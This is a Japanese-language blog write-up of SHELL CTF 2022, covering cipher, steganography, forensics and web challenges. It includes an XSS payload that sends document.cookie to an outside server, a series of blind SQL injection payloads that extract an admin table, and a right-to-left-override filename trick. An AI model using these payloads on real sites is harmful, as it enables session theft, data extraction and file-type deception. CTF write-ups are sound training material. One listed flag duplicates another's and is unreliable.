Midnight Monologues

日々勉強したことを書いてきます

SHELL CTF 2022 - Writeup

2022年8月12日, 12:30 UTC - 8月14日, 12:30 UTCに開催されたSHELL CTF 2022 に会社のチームで参加した。 他のチームメンバーの陰で9問解いたので、以下にWriteupを記載する。

Chiper

Tring Tring....

Tring Tring my mobile started ringing. "Hey Check your SMS!!"

----. ----. ----. / -.... -.... -.... / ---.. ---.. / ..--- ..--- ..--- / ..--- / -.... -.... / --... --... --... / ...-- ...-- / ..--- / ...-- / -.... / ----. ----. ----. / --... --... --... --... / -.... / --... --... --... --...

Flag Format: SHELL{SOMETHINGHERE}


問題のメッセージをモールスコードとしてデコードすると9996668822226677733236999777767777という数字になる。

問題文の内容からMulti-tap Phone Cipher (SMS)を推測して解析するとflagが得られる。

flag : SHELL{YOUCANREADMYSMS}



Forensic

Alien Communication

Aliens are trying to communicate something. They belive in seeing more than what they are hearing. can you help us trying to decode what they are trying to say?


添付ファイルをスペクトル表示するとflagが確認できる。

flag : SHELL{YOUCANREADMYSMS}



Secret Document

"shell is the key if you did'nt get it xorry"


問題文からshellというキーワードと添付ファイルを XORすれば良いことが分かる。

flag : shell{y0u_c4n_s33_th3_h1dd3n}



Hidden File

Our Agent gave us this image can you find whats there with this image?

Exif情報で確認したパスワードshellによりsteghideツールを使ってHidden Files.zipファイルが抽出できる。

root@kali:# steghide extract -sf Hidden.jpg 
Enter passphrase: 
wrote extracted data to "Hidden Files.zip".


Hidden Files.zipファイルにはse3cretf1l3.pdfとsomething.jpg、パスワード付きのflag.zipがある。
se3cretf1l3.pdfをlibraofiiceで確認すると透明な文字でkey is shellctfと記載されていることが分かる。
判明したパスワードを使ってflag.zipを解凍するとflag.txtが確認できる。

flag : shell{y0u_g07_th3_flag_N1c3!}



GO Deep!

Our one of the agent gave us this file and said "Go Deep!"


wavファイルでDeepとあるので連想ゲームからDeepSoundを確認する。(はらたいらさんに3,000点はクイズダービー...)

DeepSoundで添付ファイルを開くとパスワードを求められる。この時、チームメンバーの方がwavファイルの中からpassword:shellであることを気付いていた。

判明したパスワードを使うとDeep Flag.txtが抽出でき、flagを確認できる。

flag : SHELL{y0u_w3r3_7h1nk1ng_R3ally_D33p}



Heaven

"I was in the seventh heaven painted red green and blue"


問題文からMSBのR,B,Gを確認するとflagがある。

flag : SHELL{man1pul4t1ng_w1th_31ts_15_3A5y}



Web

Choosy

Single solution doesn't works on all problems. One should try different solutions for different problem.

Flag format:- shellctf{H3re_1s_tH3_F14g}

http://20.125.142.38:8324

Alternate link http://20.193.247.209:8333/


指定されたURLへアクセスするとフォームの入力画面が表示される。

XSS脆弱性がある。<script>タグは置換されるが1回だけなので、<scrscriptipt>のような形式で<script>となり発火できる。
scriptタグのサニタイジングがあるのでXSS問題かと連想できる。
色々確認していたところ、強制的にエラーを出すペイロードを入力するとflagの記載されたアラートが表示された。

<img/src=`%00` onerror=location.href='https://<My Server IP address>/123?'+document.cookie;>



flag : shellctf{50oom3_P4yL0aDS_aM0ng_Maaa4nnY}



Extractor

We are under emergency. Enemy is ready with its nuclear weapon we need to activate our gaurds but chief who had password is dead. There is portal at URL below which holds key within super-user account, can you get the key and save us.

Flag format :- shellctf{H3re_1s_tH3_fL4G}

http://20.125.142.38:8956

Alternate URL :- http://20.193.247.209:8555/

More Alternate URL :- http://52.66.29.74:8999/


指定されたURLへアクセスするとフォームの入力画面が表示される。

問題タイトルからSQLインジェクションの問題かと連想できる。
試しにpassword欄に' or 'a'='a' --を入力するとuser情報が表示される。
適当な文字を入力した際は何も表示されない。
user情報が表示される場合を正常としてBlindSqlインジェクションを試す。

http://52.66.29.74:8999/profile?username=121212&pass=%27%20or%20((SELECT%20length(tbl_name)%20FROM%20sqlite_master%20WHERE%20type=%27table%27%20and%20tbl_name%20not%20like%20%27sqlite_%%27%20limit%201%20offset%200)=6)%20--%20&content=1

' or ((SELECT hex(substr(tbl_name,1,1)) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' limit 1 offset 0) = hex('A')) -- 
 ・
 ・


→Table名はAdmins

http://52.66.29.74:8999/profile?username=121212&pass=%27%20or%20((SELECT%20length(sql)%20FROM%20sqlite_master%20WHERE%20type=%27table%27%20limit%201%20offset%200)=140)%20--%20&content=1

' or ((SELECT hex(substr(sql,1,1)) FROM sqlite_master WHERE type='table' limit 1 offset 0) = hex('C')) --
 ・
 ・

→Table構造としてAdminsテーブルにid,user,pass,contentのカラムがある。
contentカラムの内容を確認するとflagが確認できる

' or ((SELECT hex(substr(content,1,1)) FROM Admins) = hex('s')) --
' or ((SELECT hex(substr(content,2,1)) FROM Admins) = hex('h')) --
' or ((SELECT hex(substr(content,3,1)) FROM Admins) = hex('e')) --
' or ((SELECT hex(substr(content,4,1)) FROM Admins) = hex('l')) --
' or ((SELECT hex(substr(content,5,1)) FROM Admins) = hex('l')) --
' or ((SELECT hex(substr(content,6,1)) FROM Admins) = hex('c')) --
' or ((SELECT hex(substr(content,7,1)) FROM Admins) = hex('t')) --
' or ((SELECT hex(substr(content,8,1)) FROM Admins) = hex('f')) --
' or ((SELECT hex(substr(content,9,1)) FROM Admins) = hex('{')) --
' or ((SELECT hex(substr(content,10,1)) FROM Admins) = hex('S')) --
' or ((SELECT hex(substr(content,11,1)) FROM Admins) = hex('q')) --
' or ((SELECT hex(substr(content,12,1)) FROM Admins) = hex('l')) --
' or ((SELECT hex(substr(content,13,1)) FROM Admins) = hex('_')) --
' or ((SELECT hex(substr(content,14,1)) FROM Admins) = hex('1')) --
' or ((SELECT hex(substr(content,15,1)) FROM Admins) = hex('N')) --
' or ((SELECT hex(substr(content,16,1)) FROM Admins) = hex('j')) --
' or ((SELECT hex(substr(content,17,1)) FROM Admins) = hex('3')) --
' or ((SELECT hex(substr(content,18,1)) FROM Admins) = hex('c')) --
' or ((SELECT hex(substr(content,19,1)) FROM Admins) = hex('7')) --
' or ((SELECT hex(substr(content,20,1)) FROM Admins) = hex('i')) --
' or ((SELECT hex(substr(content,21,1)) FROM Admins) = hex('0')) --
' or ((SELECT hex(substr(content,22,1)) FROM Admins) = hex('n')) --
' or ((SELECT hex(substr(content,23,1)) FROM Admins) = hex('_')) --
' or ((SELECT hex(substr(content,24,1)) FROM Admins) = hex('B')) --
' or ((SELECT hex(substr(content,25,1)) FROM Admins) = hex('4')) --
' or ((SELECT hex(substr(content,26,1)) FROM Admins) = hex('5')) --
' or ((SELECT hex(substr(content,27,1)) FROM Admins) = hex('i')) --
' or ((SELECT hex(substr(content,28,1)) FROM Admins) = hex('C')) --
' or ((SELECT hex(substr(content,29,1)) FROM Admins) = hex('_')) --
' or ((SELECT hex(substr(content,30,1)) FROM Admins) = hex('X')) --
' or ((SELECT hex(substr(content,31,1)) FROM Admins) = hex('D')) --
' or ((SELECT hex(substr(content,32,1)) FROM Admins) = hex('}')) --


flag : shellctf{Sql_1Nj3c7i0n_B45iC_XD}



Doc Holder

Can you share portable document with us which looks like it when we seet portable document with eyes but ti's not actually portable document.

More a misc problem ...

My Favourite move is Inferno overwrite 

http://20.125.142.38:8508

Alternate Link :- http://20.193.247.209:8666/

Hint --- Challenge is all about file extension of the file that you are uploading....


指定されたURLへアクセスするとファイルのアップロード画面が表示される。

.pdfの拡張子のTEXTファイルをアップロードするとメッセージが変わる

問題文から拡張子+overwriteでRLO (Right-to-Left Override)に関係すると考えられる。
メモ帳でhoge.を入力した後に右クリック→Unicode制御文字の挿入→RLOをクリックしてfdpを入力する。このhoge.pdfをファイル名にコピペする。

上記のhoge.pdfをアップロードするとflagが確認できる。

flag : shellctf{R1ghtt_t0_l3ft_0veRiDe_1s_k3Y}



感想

  • Raw Agent は1つ目のflagはわかったが2つ目が解けず。無念...

1つ目のflagは問題を解く中の途中で出てくるアンノーンの画像のUSSERAGENT

2つ目のflagは最後のUltimate Level の時に表示されるGreninja.pngをzstegで解析した際に出てくるbase64文字からGoogleドライブのファイルを確認する。

root@kali:# Greninja.png 
b1,r,lsb,xy         .. text: "N?xZo5^Qz5xY"
b1,rgb,lsb,xy       .. text: "aHR0cHM6Ly9kcml2ZS5nb29nbGUuY29tL2ZpbGUvZC8xTmxsVnJtckhkTEhSZ1g2c1Y1MzlMMVp6Ym5SR0N2ZHIvdmlldz91c3A9c2hhcmluZw"
b1,bgr,lsb,xy       .. <wbStego size=1184705, data="9`Ym!\xCDcn\xC1\xB7"..., even=false, enc="wbStego 2.x/3.x", controlbyte="\x84">
b1,rgba,lsb,xy      .. text: ";1WWs9}W"
b2,r,lsb,xy         .. file: MIPSEB MIPS-III ECOFF executable not stripped - version 21.68
b2,r,msb,xy         .. text: ["U" repeated 17 times]
b2,g,msb,xy         .. text: "QTAETUUUUUUUUUUUUUUUUUPUUUU"
b2,b,msb,xy         .. text: "TQTUUUUUUUUUUUUUUUUUA"
b2,rgb,lsb,xy       .. file: Targa image data (4416-1284) 20752 x 5125 x 16 +1300 +16400 - right - interleave "\025A\005A\024E\024\005\024Q\024P\005\004\021D\021\005\005\021\024T\024\004\005\004\005A\024T\024\004\020\025\021\021\025\021\021A\005\004\005A\025\020\020P\005\004\021D\025"                                                                                                       
b3,b,msb,xy         .. file: StarOffice Gallery theme @\022 H\022\004\010\222\004, 16842751 objects, 1st \001
b4,r,msb,xy         .. text: "Db1@qVUC1Uu26b&@edf7waQ3wwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww7SUU"
b4,g,lsb,xy         .. file: PEX Binary Archive
b4,g,msb,xy         .. text: "q6VwwW33swDD\"f1@p@"
b4,b,lsb,xy         .. file: Targa image data - Map 272 x 4353 x 16 +257 +4113 "\001\020\020\001\021\001\021"
b4,b,msb,xy         .. text: "$T1ww7wwwwww7SswS3U3333ww7W&sW7Uswwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww7SU5swS5wwwEc"
b4,rgb,lsb,xy       .. file: Novell LANalyzer capture file
b4,abgr,msb,xy      .. file: Applesoft BASIC program data, first line number 15

root@kali:# echo "aHR0cHM6Ly9kcml2ZS5nb29nbGUuY29tL2ZpbGUvZC8xTmxsVnJtckhkTEhSZ1g2c1Y1MzlMMVp6Ym5SR0N2ZHIvdmlldz91c3A9c2hhcmluZw"| base64 -d
https://drive.google.com/file/d/1NllVrmrHdLHRgX6sV539L1ZzbnRGCvdr/view?usp=sharingbase64: 無効な入力

https://drive.google.com/file/d/1NllVrmrHdLHRgX6sV539L1ZzbnRGCvdr/view?usp=sharing



パスワード付きflag.txt.7zファイルのパスワードについて
問題途中のbr*infuckで確認できたメッセージ

Rhydon Togepi Milotic Machamp Tyrantrum Psyduck Mewtwo Pachirisu Altaria Magnezone P1k4cHu Dialga Gyarados Dragonite Eevee Luc4r10 Deoxys Zapdos Ch4r1zArD Rotom Gardevoir Unkn0Wn G0dz1lL4 Electrode Escavalier Garchomp Zygarde Blaziken Greninja

上記の内のLuc4r10で解凍すると2つ目のflagである_p4raM37eR_P0llu7iOnが確認できる。(G0dz1lL4はポケモンではないのでは...?)